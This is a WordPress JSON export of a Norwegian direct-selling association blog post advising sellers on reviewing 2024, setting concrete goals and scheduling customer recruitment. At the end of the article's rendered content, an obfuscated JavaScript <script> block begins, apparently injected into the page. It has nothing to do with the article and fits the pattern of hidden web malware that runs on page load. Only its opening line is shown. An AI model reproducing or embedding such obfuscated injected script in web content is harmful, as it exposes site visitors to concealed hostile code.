{"id":3976,"date":"2025-01-01T21:33:11","date_gmt":"2025-01-01T21:33:11","guid":{"rendered":"https:\/\/www.direktesalgsforbundet.no\/?p=3976"},"modified":"2025-01-01T21:41:13","modified_gmt":"2025-01-01T21:41:13","slug":"forst-arsoppgjor-sa-videre","status":"publish","type":"post","link":"https:\/\/www.direktesalgsforbundet.no\/?p=3976","title":{"rendered":"F\u00f8rst \u00e5rsoppgj\u00f8r \u2013 s\u00e5 videre &#8230;"},"content":{"rendered":"\n<h4 class=\"wp-block-heading\">Hvordan gikk forretningen din i \u00e5ret vi har lagt bak oss? Hva ble du forn\u00f8yd med \u2013 og hva kunne g\u00e5tt bedre. Hva m\u00e5 du unng\u00e5 i 2025 \u2013 og hvordan skal du utvikle deg videre for \u00e5 n\u00e5 m\u00e5lene du setter deg.<\/h4>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Det er mange grep du b\u00f8r ta. Noen er enkle \u2013 andre er n\u00f8dvendige, og noen m\u00e5 bli tydeligere. Direktesalgsforbundet hjelper deg gjerne med gode r\u00e5d. La oss starte med et tilbakeblikk p\u00e5 2024 og gjennomf\u00f8re \u00e5rsoppgj\u00f8ret &#8230;<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Bruk tid p\u00e5 \u00e5 g\u00e5 igjennom \u00e5ret. Hva fungerte og hva gikk galt. Lag din egen erfaringsliste. Det viktigste for utvikling av forretningen din er kundene. Tenk igjennom hvordan du rekrutterte dem? Hvor kom de fra? Var det tilfeldigheter, venner og kjente eller systematisk rekruttering?<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Hva gjorde du for \u00e5 utvikle kundebasen din? Fungerte det \u2013 lykkes du \u2013 eller ga du opp med tanken om at \u00abdet er greit nok som det er\u00bb?<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Hvordan ble det \u00f8konomiske resultatet for deg? Tjente du som forventet \u2013 hadde du satt deg realistiske m\u00e5l?<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Snu deg trill rundt<\/strong><\/h3>\n\n\n\n<p>N\u00e5 skriver vi 2025 og du skal videre. F\u00e5 flere kunder, selge mer og tjene mer! Leverand\u00f8ren din s\u00f8rger for stadig videreutvikling av det du selger.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Sett deg godt til rette i godstolen og tenk p\u00e5 deg selv som din viktige kunde. Hvordan bygger du en forsterket relasjon. Hvem kan du kontakte for \u00e5 f\u00e5 \u00e6rlige tilbakemeldinger om opplevelsene kundene dine m\u00f8ter fra deg.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Er du god nok til \u00e5 formidle \u2013 m\u00e5 du bli bedre til \u00e5 lytte \u2013 demonstrerer du p\u00e5 en god m\u00e5te \u2013 prater du i ett sett eller presser du for mye p\u00e5.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Men kanskje viktigst \u2013 blir du som kunde ivaretatt p\u00e5 en seri\u00f8s og god m\u00e5te?<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Hvordan kan du bli mer interessante for kundene dine? Spennende oppf\u00f8lging, bedre prosesser, mer synlighet.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Sett deg klare m\u00e5l<\/strong><\/h3>\n\n\n\n<p>T\u00f8rr \u00e5 v\u00e6re tydelig om hva du vil oppn\u00e5 i 2025. Upresise m\u00e5l n\u00e5r du aldri fordi det gir deg ingen ting du kan m\u00e5le deg mot. Du m\u00e5 v\u00e6re tydelig overfor deg selv, n\u00e5r du setter deg m\u00e5l.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Lag en liste og heng den opp p\u00e5 et sted du ser den hver dag!<\/p>\n<\/blockquote>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Selge flere varer er ikke et m\u00e5l \u2013 det er et \u00f8nske. Derfor skal du v\u00e6re tydelig. Her har du noen eksempler:<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Hvordan skal du bli mer synlig for eksisterende og potensielle kunder?<\/li>\n\n\n\n<li>Hvordan skal du ta vare p\u00e5 kundene dine?<\/li>\n\n\n\n<li>Hvor mange nye kunder vil du ha?<\/li>\n\n\n\n<li>Hvor skal du rekruttere nye kunder fra?<\/li>\n\n\n\n<li>Har du et team \u2013 sett deg m\u00e5l for hvordan dere styrker hverandre sammen.<\/li>\n<\/ul>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ikke utsett<\/strong><\/h3>\n\n\n\n<p>Ikke nok tilgjengelig tid er en farlig faktor. Du m\u00e5 prioritere rekrutteringsarbeidet \u2013 ikke sett det til side fordi du har mer enn nok \u00e5 gj\u00f8re. Faren er nemlig at dersom du ikke prioriterer rekruttering, m\u00f8ter du plutselig veggen \u2013 hva skjedde \u2013 hvor ble kundene mine av?<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><strong>Sjekk ut en enkel og realistisk prosess:<\/strong><\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sett av fast tid hver uke. Et par timer p\u00e5 onsdager? V\u00e6r realistisk og ikke \u00abovertenk\u00bb &#8211; tenk gjennomf\u00f8rbart.<\/li>\n<\/ul>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Del arbeidet opp i sm\u00e5 oppgaver:<\/li>\n<\/ul>\n\n\n\n<p>\u25cb F\u00f8lg opp eksisterende kunder.<\/p>\n\n\n\n<p>\u25cb <span style=\"color: var(--ast-global-color-3); font-size: 1rem; background-color: var(--ast-global-color-4);\">Kontakt noen potensielle kunder hver uke.<\/span><\/p>\n\n\n\n<p>\u25cb Post i sosiale medier etter en jevn plan.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Har du team \u2013 involver dem. Sp\u00f8r hva de vil bidra med. I tillegg til \u00e5 selge produkter, kan de ha andre egenskaper du trenger. Skrive, rekruttere, id\u00e9myldring. La det dere kommer frem til \u00e5 bli en del av listen din. Bare slik blir det forpliktende og m\u00e5lbart.<\/li>\n<\/ul>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Samarbeid med din leverand\u00f8r og utforsk de tiltakene du blir tilbudt. Alle m\u00f8ter vi motbakker \u2013 da er det ekstra viktig \u00e5 v\u00e6re \u00e6rlige, t\u00f8rre \u00e5 stille sp\u00f8rsm\u00e5l og lytte til de r\u00e5dene du f\u00e5r.<\/li>\n<\/ul>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Inkluder deg selv<\/strong><\/h3>\n\n\n\n<p>Direktesalg er en spennende bransje \u2013 men den kan ogs\u00e5 v\u00e6re \u00abensom\u00bb til tider. Du har ikke et nettverk av kolleger som du m\u00f8ter hver morgen og tilbringer arbeidsdagen sammen med.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Ikke se p\u00e5 det som et hinder \u2013 for i bunn og grunn liker du det du driver med \u2013 og n\u00e5 skal du styrke dine muligheter.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Vi avslutter denne artikkelen med enda noen forslag &#8230;<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Ta deg tid til \u00e5 tenke skikkelig gjennom veien videre \u2013 og lag en realistisk plan for deg selv som du vet vil fungere. Unng\u00e5 en stor og komplisert plan, gj\u00f8r det enkelt og prioriter konkrete prosesser du kan f\u00f8lge. Del den opp i kortsiktige \u2013 og langsiktige m\u00e5l.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Husk at dette gjelder deg selv. Dette skal v\u00e6re tanker og ideer som utelukkende handler om dine egne prioriteringer &#8211; slik at du sakte, men sikkert videreutvikler det selskapet og den hverdagen du \u00f8nsker deg.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Husk: N\u00e5r det gjelder forretningsutvikling, er du din viktigste kunde &#8230; <\/p>\n<\/blockquote>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Inspirasjon\/kilde: <a href=\"https:\/\/www.nordskar.no\/\">Nils Petter Nordskar<\/a><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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